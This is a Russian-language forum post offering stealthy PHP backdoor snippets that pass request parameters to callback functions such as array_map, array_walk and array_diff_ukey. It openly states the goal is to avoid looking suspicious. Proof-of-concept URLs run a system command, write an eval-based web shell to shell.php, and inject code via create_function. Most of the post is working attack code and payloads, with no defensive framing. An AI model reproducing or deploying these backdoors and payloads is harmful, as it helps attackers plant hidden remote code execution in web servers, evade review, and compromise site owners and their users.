Показать сообщение отдельно

  #30  
Старый 18.01.2012, 11:42
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

«callback похождения»

Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.

Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.

array_map, array_filter, array_walk

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_filter[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_walk[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Кому как[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]что лучше смотрится[/COLOR][COLOR="#007700"].

[/
COLOR][/COLOR
PoC:

Код:
http://localhost/test.php?login=system&password[]=type+test.php
array_diff_ukey

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_diff_ukey[/COLOR][COLOR="#007700"](@array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]), @array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'re_password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.

PoC:

Код:
http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E
В файле shell.php будет «евальник».

Или же PoC[2], опять же "баг" с create_function:

Код:
http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//
Результатом будет являться выполнение phpinfo();
 
Ответить с цитированием